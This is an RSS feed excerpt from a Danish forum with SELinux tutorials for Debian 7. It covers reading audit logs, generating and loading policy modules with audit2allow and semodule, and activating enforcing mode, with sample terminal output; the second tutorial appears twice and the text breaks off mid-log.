type=AVC msg=audit(13-12-2014 21:55:00.491:10) : avc:  denied  { create } for  pid=2446 comm=postgres name=.s.PGSQL.5432 scontext=system_u:system_r:postgresql_t:s0 tcontext=system_u:object_r:var_run_t:s0 tclass=sock_file<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:13.118:31) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7fbf62c29b10 a1=0 a2=1b6 a3=0 items=0 ppid=3421 pid=3422 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=pts0 ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:13.118:31) : avc:  denied  { search } for  pid=3422 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:12.974:30) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7f5453269b10 a1=0 a2=1b6 a3=0 items=0 ppid=3416 pid=3417 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=pts0 ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:12.974:30) : avc:  denied  { search } for  pid=3417 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:13.282:32) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7f0710c0ab10 a1=0 a2=1b6 a3=0 items=0 ppid=3424 pid=3425 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=pts0 ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:13.282:32) : avc:  denied  { search } for  pid=3425 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
----<br />
type=SYSCALL msg=audit(14-12-2014 01:29:13.418:33) : arch=x86_64 syscall=open success=no exit=-13(Adgang nÃ¦gtet) a0=7ff878797b10 a1=0 a2=1b6 a3=0 items=0 ppid=3431 pid=3433 auid=root uid=Debian-exim gid=Debian-exim euid=Debian-exim suid=Debian-exim fsuid=Debian-exim egid=Debian-exim sgid=Debian-exim fsgid=Debian-exim tty=(none) ses=1 comm=exim4 exe=/usr/sbin/exim4 subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(14-12-2014 01:29:13.418:33) : avc:  denied  { search } for  pid=3433 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
root@selinux:/usr/bin#</blockquote>
<br />
Bemærk at tidsstemplingen nu er til at læse.<br />
Nogle gange, kan man være nød til at rette eksisterende policies, men det anbefales at rapportere disse fejl til distributøren af pakken, så det kan blive rettet.<br />
Måske skal man lave en policy til et program, man selv har lavet, og dette kan gøres med audit2allow, som kommer i policycoreutils pakken.<br />
Man kan skrive sin policy i hånden, eller man kan vælge at tage de deny AVCs fra audit.log, og lade audit2allow lave en allow policy for dig.<br />
Reelt set, kan man pipe indholdet fra /var/log/audit/audit.log direkte ind i audit2allow, men der er en god chance for, den policy man får ud i den anden ende, tillader lidt for meget.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#audit2allow &lt; /var/log/audit/audit.log</blockquote>
<br />
Ovenstående må anses som at være aller sidste udvej.<br />
<br />
Man kan f.eks. udstede følgende kommando, som laver en Type Enforcementrule, ud fra deny AVCs fra de sidste 5 minutter, der tillader denne handling:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#ausearch -i -m AVC -sv no -ts recent | audit2allow</blockquote>
<br />
Får man ikke hvad man forventer, skal man være opmærksom på, meddelelserne kan være mere end 5 minutter gamle. Se man eller info page for ausearch. De kan rigtig mange ting.<br />
Her er et par søgninger:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ausearch -i -m AVC -sv no | grep exim4 | audit2allow<br />
<br />
<br />
#============= exim_t ==============<br />
allow exim_t sysctl_crypto_t:dir search;<br />
root@selinux:~# ausearch -i -m AVC -sv no -se exim_t | audit2allow<br />
<br />
<br />
#============= exim_t ==============<br />
allow exim_t sysctl_crypto_t:dir search;<br />
root@selinux:~#</blockquote>
<br />
Lad os prøve at lave en ny policy. Vær dog opmærksom på, du kan risikere at overskrive en eksisterende policy, hvis du vælger samme navn.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ausearch -i -m AVC -sv no -se exim_t | audit2allow -m ny-exim &gt; ny-exim.te<br />
root@selinux:~# cat ny-exim.te<br />
<br />
module ny-exim 1.0;<br />
<br />
require {<br />
        type sysctl_crypto_t;<br />
        type exim_t;<br />
        class dir search;<br />
}<br />
<br />
#============= exim_t ==============<br />
allow exim_t sysctl_crypto_t:dir search;<br />
root@selinux:~#</blockquote>
<br />
Så har vi dannet en ny policy. Denne skal så "kompileres, linkes og loades", før den virker.<br />
Bemærk versionsnummeret i den. Denne er dannet med version 1.0, og det anbefales at ændre denne, hver gang, denne policy ændres.<br />
Det gør det i hvert fald nemmere at holde hånd i hanke med, hvilken policy, der er den nyeste og formegntlig, den der er loaded ind i linux kernen.<br />
<br />
Det næste trin er at danne en .mod fil og dette gøres med følgende kommando:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# checkmodule -M -m -o ny-exim.mod ny-exim.te<br />
checkmodule:  loading policy configuration from ny-exim.te<br />
checkmodule:  policy configuration loaded<br />
checkmodule:  writing binary representation (version 14) to ny-exim.mod<br />
root@selinux:~# ls -lZ ny*<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 923 dec 14 02:08 ny-exim.mod<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 169 dec 14 02:03 ny-exim.te<br />
root@selinux:~#</blockquote>
<br />
Så skal vi have lavet en policy module package fra det binære policy modul. Der efter loades vores nye package ind i linux kernen, hvor SELinux lever:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semodule_package -o ny-exim.pp -m ny-exim.mod<br />
root@selinux:~# ls -lZ ny*<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 923 dec 14 02:08 ny-exim.mod<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 939 dec 14 02:13 ny-exim.pp<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 169 dec 14 02:03 ny-exim.te<br />
root@selinux:~# semodule --install ny-exim.pp<br />
root@selinux:~#</blockquote>
<br />
Det tager lidt tid at loade modulet, men det er normalt. Jeg har ladet mig fortælle, der kan gå lidt tid, før modulet rent faktisk bliver aktivt.<br />
Lad os prøve at tømme audit.log og genstarte exim4. Hvis vi ikke får nogen AVCer, lader det til, vores nylavede policy virker:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# service exim4 stop<br />
[ ok ] Stopping MTA: exim4_listener.<br />
root@selinux:~# rm /var/log/audit/audit.log<br />
root@selinux:~# touch /var/log/audit/audit.log	// Måske skal man efter denne kommando, lave en restorecon /var/log/audit/audit.log<br />
root@selinux:~# service exim4 start<br />
[ ok ] Starting MTA: exim4.<br />
root@selinux:~# cat /var/log/audit/audit.log<br />
root@selinux:~#</blockquote>
<br />
Virker den policy man har lavet, ikke efter hensigten, kan den unloades med samme kommando, som den blev loaded med, bare med --remove i stedet for --install.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semodule --remove ny-exim.pp<br />
root@selinux:~# </blockquote>
<br />
Når man tester sin SELinux installation, og arbejdet med nogle problemer, har man den mulighed, at sætte hele sytemet i Permissive mode.<br />
Så kan man debugge, ved at se i /var/log/audit.log, men slippe for, at systemet ikke virker.<br />
Hvis man vælger at gøre dette, skal man selvfølgelig være opmærksom på, man har fravalgt SELinux beskyttelsen for hele systemet, og det kan potentielt, efterlade systemet åbent, mens du arbejder.<br />
En anden og måske bedre måde, er at sætte Permissive mode på den enkelte process, i stedet for hele systemet.<br />
Så har resten af systemet sikkerheden fra SELinux, mens man frit kan arbejde med den process, der giver problemer.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage permissive -a exim_t	// Tillader at exim4 kører permissive, selv om resten af systemet kører enforced.<br />
#semanage permissive -d exim_t	// Fjerner tilladelsen, så exim4 ikke længere må bryde sin policy.<br />
#semanage permissive -l		// Lister de tilladelser der er givet, til at køre permissive.</blockquote>
<br />
Jeg skal dog sige, jeg ikke kan få ovenstående til at virke lige nu.<br />
<br />
For at få adgang til filer og andet, skal man selvfølgelig også have adgang via DACs RWX.<br />
Der er rigtig meget læsestof i man og info pages.<br />
SELinux er en god og nem måde at gøre en maskine lidt mere sikker på, og det brude faktisk ikke være opt-in, men opt-out, efter min mening.<br />
Jeg vil dog ikke anbefale, at installere det på din legeplads. Og vær opmærksom på, det reelt er en chance for, du får lukket dig selv ude.<br />
SELinux til Debian er efterhånden rimelig godt med. Der kan dog stadig være nogle udfordringer med nogle display managere, som skal have finpudset deres policies.<br />
En anden ting man skal være opmærksom på er, at kommandoer udføres langsomt. Der er en del overhead, når man gør noget, hvor adgangen skal kontrolleres.<br />
Det påvirker ikke daemons det store. De bliver et ekstra sekund på at starte, men når de først kører, burde man ikke mærke noget til det.<br />
<br />
<a href="https://github.com/TresysTechnology/refpolicy/wiki" target="_blank" rel="noopener" class="mycode_url">https://github.com/TresysTechnology/refpolicy/wiki</a><br />
<a href="https://wiki.debian.org/SELinux/Setup?highlight=%28%28SELinux%7CSetup%29%29" target="_blank" rel="noopener" class="mycode_url">https://wiki.debian.org/SELinux/Setup?hi...etup%29%29</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Install & config af SELinux på Debian Linux 7 (Wheezy)]]></title>
			<link>https://www.shellsec.pw/traad-install-config-af-selinux-paa-debian</link>
			<pubDate>Sun, 14 Dec 2014 04:42:09 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-install-config-af-selinux-paa-debian</guid>
			<description><![CDATA[<blockquote class="mycode_quote"><cite>Citer:</cite>Selinux 4 access control forms:<br />
- Targeted Enforcement (TE) - Common<br />
- Strict - (TE bare mere strict)<br />
- Role Based Access Control (RBAC)<br />
- Multi-Level Access (MLS)</blockquote>
<br />
MCS er Multi Category System, og er en arveart af MLS, med lidt ekstra på.<br />
Denne guide viser hvordan TE sættes op, da det er det mest brugte.<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>apt-get install selinux-basics	# for check-selinux-installation og selinux-activate<br />
apt-get install auditd		# for /var/log/audit/audit.log<br />
apt-get install rcconf		# Valgfrit. Bruges til at ændre initscripts i den aktuelle runlevel.</blockquote>
OBS: selinux-policy-default og policycoreutils kommer automatisk med, på grund af package dependencies, så der er ingen grund til at angive dem.<br />
<br />
Vi kan starte med at bekræfte at SELinux ikke kører:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# sestatus<br />
SELinux status:                 disabled<br />
root@selinux:~#</blockquote>
<br />
For at kontrollere, om SELinux er klar til at blive startet, udføres følgende:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# check-selinux-installation<br />
getfilecon:  getfilecon(/proc/1) failed<br />
SELinux is not enabled.<br />
Could not read the domain of PID 1.<br />
/etc/pam.d/login is not SELinux enabled<br />
FSCKFIX is not enabled - not serious, but could prevent system from booting...<br />
root@selinux:~#</blockquote>
<br />
Der er nogle ting som skal ordnes, før vi kan aktivere SELinux:<br />
"FSCKFIX is not enabled" klares som følgende:<br />
I filen /etc/default/rcS skal vi have sat FSCKFIX til yes i stedet for no.<br />
<br />
Den er normalt bare en kommentar:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>...<br />
# automatically repair filesystems with inconsistencies during boot<br />
#FSCKFIX=no<br />
...</blockquote>
<br />
Ret den til følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>...<br />
# automatically repair filesystems with inconsistencies during boot<br />
FSCKFIX=yes<br />
...</blockquote>
<br />
Så kontrollerer vi installationen igen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# check-selinux-installation<br />
getfilecon:  getfilecon(/proc/1) failed<br />
SELinux is not enabled.<br />
Could not read the domain of PID 1.<br />
/etc/pam.d/login is not SELinux enabled<br />
root@selinux:~#</blockquote>
<br />
Det er de færreste programmer, som behøver blive ændret eller recompiled, for at køre i et SELinux miljø.<br />
Disse få, er dog ret vigtige. Nogle af de programmer som er "SELinux Aware" er:<br />
login, sshd, cron etc.<br />
<br />
Lad os se på følgende fejl:<br />
/etc/pam.d/login is not SELinux enabled<br />
<br />
Disse PAM moduler, bliver automatisk rettet, når man kører "selinux-activate".<br />
Det samme gælder opsætningen i grub.<br />
Når denne kommando gives, bliver filen "/.autorelabel" også dannet.<br />
Hvis denne fil findes, når en SELinux installation booter, vil der blive dannet Labels, og dette kan tage en del tid.<br />
<br />
Så lad os prøve at aktivere SELinux, og se om det går godt:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# selinux-activate<br />
Activating SE Linux<br />
Generating grub.cfg ...<br />
Found linux image: /boot/vmlinuz-3.2.0-4-amd64<br />
Found initrd image: /boot/initrd.img-3.2.0-4-amd64<br />
done<br />
SE Linux is activated.  You may need to reboot now.<br />
root@selinux:~#</blockquote>
<br />
Og efterfølgende, rebooter vi linux:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# reboot<br />
root@selinux:~#</blockquote>
<br />
Dette kan tage lidt tid, så opstarten vil ikke være så hurtig som normalt.<br />
Når vi har bootet, kan vi kontrollere om SELinux er aktiveret:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# sestatus<br />
SELinux status:                 enabled<br />
SELinuxfs mount:                /sys/fs/selinux<br />
SELinux root directory:         /etc/selinux<br />
Loaded policy name:             default<br />
Current mode:                   permissive<br />
Mode from config file:          permissive<br />
Policy MLS status:              enabled<br />
Policy deny_unknown status:     denied<br />
Max kernel policy version:      26<br />
root@selinux:~#</blockquote>
<br />
Og vi kan kontrollere om installationen er, som den skal være:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# check-selinux-installation<br />
<br />
/etc/pam.d/login is not SELinux enabled<br />
root@selinux:~#</blockquote>
<br />
Lige nu kører vi i Permissive Mode, hvilket betyder at vi stadig kan alt hvad vi kunne før, vi får dog nu, alarmer når vi gør noget vi ikke må.<br />
Faktisk lige som når man kører DAC (Discresionary Access Mode), som man gør uden SELinux.<br />
Permissive mode, er kun til at teste om alt virker. Dvs. om vi kan det vi skal kunne, så vi ikke ender med at lukke os selv ude.<br />
<br />
For at køre i MAC (Mandatory Access Control) mode, skal vi have sat SELinux i Enforcing mode i stedet for Permissive Mode.<br />
<br />
Inden vi gør det, kan det være en god idé at kigge i audit.log, som SELinux lægger sine log entries i.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# tail /var/log/audit/audit.log<br />
type=SYSCALL msg=audit(1418501038.226:9): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=7fc5ff434e50 a2=6e a3=0 items=0 ppid=2440 pid=2441 auid=4294967295 uid=104 gid=108 euid=104 suid=104 fsuid=104 egid=108 sgid=108 fsgid=108 tty=(none) ses=4294967295 comm="psql" exe="/usr/lib/postgresql/9.1/bin/psql" subj=system_u:system_r:postgresql_t:s0 key=(null)<br />
type=AVC msg=audit(1418501042.669:10): avc:  denied  { search } for  pid=2713 comm="exim4" name="crypto" dev=proc ino=6740 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418501042.669:10): avc:  denied  { read } for  pid=2713 comm="exim4" name="fips_enabled" dev=proc ino=6741 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=file<br />
type=AVC msg=audit(1418501042.669:10): avc:  denied  { open } for  pid=2713 comm="exim4" name="fips_enabled" dev=proc ino=6741 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=file<br />
type=SYSCALL msg=audit(1418501042.669:10): arch=c000003e syscall=2 success=yes exit=4 a0=7fe1a790ab10 a1=0 a2=1b6 a3=0 items=0 ppid=2712 pid=2713 auid=4294967295 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=(none) ses=4294967295 comm="exim4" exe="/usr/sbin/exim4" subj=system_u:system_r:exim_t:s0 key=(null)<br />
type=AVC msg=audit(1418501042.669:11): avc:  denied  { getattr } for  pid=2713 comm="exim4" path="/proc/sys/crypto/fips_enabled" dev=proc ino=6741 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=file<br />
type=SYSCALL msg=audit(1418501042.669:11): arch=c000003e syscall=5 success=yes exit=0 a0=4 a1=7fff95fbae00 a2=7fff95fbae00 a3=0 items=0 ppid=2712 pid=2713 auid=4294967295 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=(none) ses=4294967295 comm="exim4" exe="/usr/sbin/exim4" subj=system_u:system_r:exim_t:s0 key=(null)<br />
type=LOGIN msg=audit(1418501049.988:12): login pid=2749 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=1<br />
type=LOGIN msg=audit(1418501074.436:13): login pid=2799 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=2<br />
type=LOGIN msg=audit(1418501821.801:14): login pid=2864 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=3<br />
root@selinux:~# </blockquote>
<br />
Her kan det ses, at exim4, forsøger at gøre nogle ting, som ikke ville være tilladt, hvis SELinux var i Enforcing mode.<br />
Man kan vælge at rette den policy, exim4 bruger, men exim4 skal alligevel ikke bruges, så denne fjernes med kommandoen rcconf:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# rcconf --off exim4<br />
update-rc.d: using dependency based boot sequencing<br />
update-rc.d: warning:  start runlevel arguments (none) do not match exim4 Default-Start values (2 3 4 5)<br />
update-rc.d: warning:  stop runlevel arguments (0 1 2 3 4 5 6) do not match exim4 Default-Stop values (0 1 6)<br />
root@selinux:~#</blockquote>
<br />
Og så stopper vi exim4 processen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# service exim4 stop<br />
[ ok ] Stopping MTA: exim4_listener.<br />
root@selinux:~#</blockquote>
<br />
For en sikkerheds skyld, kan vi kontrollere at alt har fået labels:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# fixfiles relabel<br />
<br />
    Files in the /tmp directory may be labeled incorrectly, this command<br />
    can remove all files in /tmp.  If you choose to remove files from /tmp,<br />
    a reboot will be required after completion.<br />
<br />
    Do you wish to clean out the /tmp directory [N]? n<br />
Relabeling / /dev /dev/pts /run /run/lock /run/shm /sys<br />
**************************************************************<br />
find: unknown predicate `-context'<br />
find: unknown predicate `-context'<br />
find: unknown predicate `-context'<br />
find: unknown predicate `-context'<br />
root@selinux:~#</blockquote>
<br />
De fire "find: unknown predicate `-context'" er harmløse.<br />
<br />
Lad os sætte SELinux i Enforcing mode:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# setenforce enforcing<br />
root@selinux:~# sestatus<br />
SELinux status:                 enabled<br />
SELinuxfs mount:                /sys/fs/selinux<br />
SELinux root directory:         /etc/selinux<br />
Loaded policy name:             default<br />
Current mode:                   enforcing<br />
Mode from config file:          permissive<br />
Policy MLS status:              enabled<br />
Policy deny_unknown status:     denied<br />
Max kernel policy version:      26<br />
root@selinux:~#</blockquote>
<br />
Nu er SELinux kørende i Enforcing mode.<br />
Som man kan se i ovenstående, er vores Current mode Enforcing, men Mode from config file, er Permissive.<br />
Dette hjælper også med, ikke at få lukket sig selv ude, hvis man får lavet noget, for restriktivt.<br />
Det sker dog normalt ikke, når man kører i Targeted Enforcement (TE) mode, hvor brugere generelt set, stadig får lov at være brugere.<br />
Root er stadig root.<br />
<br />
For at gøre dette permanent, skal man rette /etc/selinux/config, så man kører enforcing, også efter en reboot:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/etc/selinux# cat config<br />
# This file controls the state of SELinux on the system.<br />
# SELINUX= can take one of these three values:<br />
# enforcing - SELinux security policy is enforced.<br />
# permissive - SELinux prints warnings instead of enforcing.<br />
# disabled - No SELinux policy is loaded.<br />
SELINUX=permissive<br />
# SELINUXTYPE= can take one of these two values:<br />
# default - equivalent to the old strict and targeted policies<br />
# mls     - Multi-Level Security (for military and educational use)<br />
# src     - Custom policy built from source<br />
SELINUXTYPE=default<br />
<br />
# SETLOCALDEFS= Check local definition changes<br />
SETLOCALDEFS=0<br />
root@selinux:/etc/selinux#</blockquote>
Sæt SELINUX til enforcing, SELINUX=enforcing i /etc/selinux/config<br />
<br />
For at være sikker på, ingen retter i denne, kan man sætte filen til at være immutable, så ikke engang root kan ændre eller slette filen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/etc/selinux# chattr +i /etc/selinux/config<br />
root@selinux:/etc/selinux# lsattr /etc/selinux/<br />
-------------e-- /etc/selinux/semanage.conf<br />
-------------e-- /etc/selinux/default<br />
----i--------e-- /etc/selinux/config<br />
-------------e-- /etc/selinux/restorecond_user.conf<br />
-------------e-- /etc/selinux/restorecond.conf<br />
root@selinux:/etc/selinux#</blockquote>
<br />
Done! God fornøjelse.]]></description>
			<content:encoded><![CDATA[<blockquote class="mycode_quote"><cite>Citer:</cite>Selinux 4 access control forms:<br />
- Targeted Enforcement (TE) - Common<br />
- Strict - (TE bare mere strict)<br />
- Role Based Access Control (RBAC)<br />
- Multi-Level Access (MLS)</blockquote>
<br />
MCS er Multi Category System, og er en arveart af MLS, med lidt ekstra på.<br />
Denne guide viser hvordan TE sættes op, da det er det mest brugte.<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>apt-get install selinux-basics	# for check-selinux-installation og selinux-activate<br />
apt-get install auditd		# for /var/log/audit/audit.log<br />
apt-get install rcconf		# Valgfrit. Bruges til at ændre initscripts i den aktuelle runlevel.</blockquote>
OBS: selinux-policy-default og policycoreutils kommer automatisk med, på grund af package dependencies, så der er ingen grund til at angive dem.<br />
<br />
Vi kan starte med at bekræfte at SELinux ikke kører:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# sestatus<br />
SELinux status:                 disabled<br />
root@selinux:~#</blockquote>
<br />
For at kontrollere, om SELinux er klar til at blive startet, udføres følgende:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# check-selinux-installation<br />
getfilecon:  getfilecon(/proc/1) failed<br />
SELinux is not enabled.<br />
Could not read the domain of PID 1.<br />
/etc/pam.d/login is not SELinux enabled<br />
FSCKFIX is not enabled - not serious, but could prevent system from booting...<br />
root@selinux:~#</blockquote>
<br />
Der er nogle ting som skal ordnes, før vi kan aktivere SELinux:<br />
"FSCKFIX is not enabled" klares som følgende:<br />
I filen /etc/default/rcS skal vi have sat FSCKFIX til yes i stedet for no.<br />
<br />
Den er normalt bare en kommentar:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>...<br />
# automatically repair filesystems with inconsistencies during boot<br />
#FSCKFIX=no<br />
...</blockquote>
<br />
Ret den til følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>...<br />
# automatically repair filesystems with inconsistencies during boot<br />
FSCKFIX=yes<br />
...</blockquote>
<br />
Så kontrollerer vi installationen igen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# check-selinux-installation<br />
getfilecon:  getfilecon(/proc/1) failed<br />
SELinux is not enabled.<br />
Could not read the domain of PID 1.<br />
/etc/pam.d/login is not SELinux enabled<br />
root@selinux:~#</blockquote>
<br />
Det er de færreste programmer, som behøver blive ændret eller recompiled, for at køre i et SELinux miljø.<br />
Disse få, er dog ret vigtige. Nogle af de programmer som er "SELinux Aware" er:<br />
login, sshd, cron etc.<br />
<br />
Lad os se på følgende fejl:<br />
/etc/pam.d/login is not SELinux enabled<br />
<br />
Disse PAM moduler, bliver automatisk rettet, når man kører "selinux-activate".<br />
Det samme gælder opsætningen i grub.<br />
Når denne kommando gives, bliver filen "/.autorelabel" også dannet.<br />
Hvis denne fil findes, når en SELinux installation booter, vil der blive dannet Labels, og dette kan tage en del tid.<br />
<br />
Så lad os prøve at aktivere SELinux, og se om det går godt:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# selinux-activate<br />
Activating SE Linux<br />
Generating grub.cfg ...<br />
Found linux image: /boot/vmlinuz-3.2.0-4-amd64<br />
Found initrd image: /boot/initrd.img-3.2.0-4-amd64<br />
done<br />
SE Linux is activated.  You may need to reboot now.<br />
root@selinux:~#</blockquote>
<br />
Og efterfølgende, rebooter vi linux:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# reboot<br />
root@selinux:~#</blockquote>
<br />
Dette kan tage lidt tid, så opstarten vil ikke være så hurtig som normalt.<br />
Når vi har bootet, kan vi kontrollere om SELinux er aktiveret:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# sestatus<br />
SELinux status:                 enabled<br />
SELinuxfs mount:                /sys/fs/selinux<br />
SELinux root directory:         /etc/selinux<br />
Loaded policy name:             default<br />
Current mode:                   permissive<br />
Mode from config file:          permissive<br />
Policy MLS status:              enabled<br />
Policy deny_unknown status:     denied<br />
Max kernel policy version:      26<br />
root@selinux:~#</blockquote>
<br />
Og vi kan kontrollere om installationen er, som den skal være:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# check-selinux-installation<br />
<br />
/etc/pam.d/login is not SELinux enabled<br />
root@selinux:~#</blockquote>
<br />
Lige nu kører vi i Permissive Mode, hvilket betyder at vi stadig kan alt hvad vi kunne før, vi får dog nu, alarmer når vi gør noget vi ikke må.<br />
Faktisk lige som når man kører DAC (Discresionary Access Mode), som man gør uden SELinux.<br />
Permissive mode, er kun til at teste om alt virker. Dvs. om vi kan det vi skal kunne, så vi ikke ender med at lukke os selv ude.<br />
<br />
For at køre i MAC (Mandatory Access Control) mode, skal vi have sat SELinux i Enforcing mode i stedet for Permissive Mode.<br />
<br />
Inden vi gør det, kan det være en god idé at kigge i audit.log, som SELinux lægger sine log entries i.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# tail /var/log/audit/audit.log<br />
type=SYSCALL msg=audit(1418501038.226:9): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=7fc5ff434e50 a2=6e a3=0 items=0 ppid=2440 pid=2441 auid=4294967295 uid=104 gid=108 euid=104 suid=104 fsuid=104 egid=108 sgid=108 fsgid=108 tty=(none) ses=4294967295 comm="psql" exe="/usr/lib/postgresql/9.1/bin/psql" subj=system_u:system_r:postgresql_t:s0 key=(null)<br />
type=AVC msg=audit(1418501042.669:10): avc:  denied  { search } for  pid=2713 comm="exim4" name="crypto" dev=proc ino=6740 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418501042.669:10): avc:  denied  { read } for  pid=2713 comm="exim4" name="fips_enabled" dev=proc ino=6741 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=file<br />
type=AVC msg=audit(1418501042.669:10): avc:  denied  { open } for  pid=2713 comm="exim4" name="fips_enabled" dev=proc ino=6741 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=file<br />
type=SYSCALL msg=audit(1418501042.669:10): arch=c000003e syscall=2 success=yes exit=4 a0=7fe1a790ab10 a1=0 a2=1b6 a3=0 items=0 ppid=2712 pid=2713 auid=4294967295 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=(none) ses=4294967295 comm="exim4" exe="/usr/sbin/exim4" subj=system_u:system_r:exim_t:s0 key=(null)<br />
type=AVC msg=audit(1418501042.669:11): avc:  denied  { getattr } for  pid=2713 comm="exim4" path="/proc/sys/crypto/fips_enabled" dev=proc ino=6741 scontext=system_u:system_r:exim_t:s0 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=file<br />
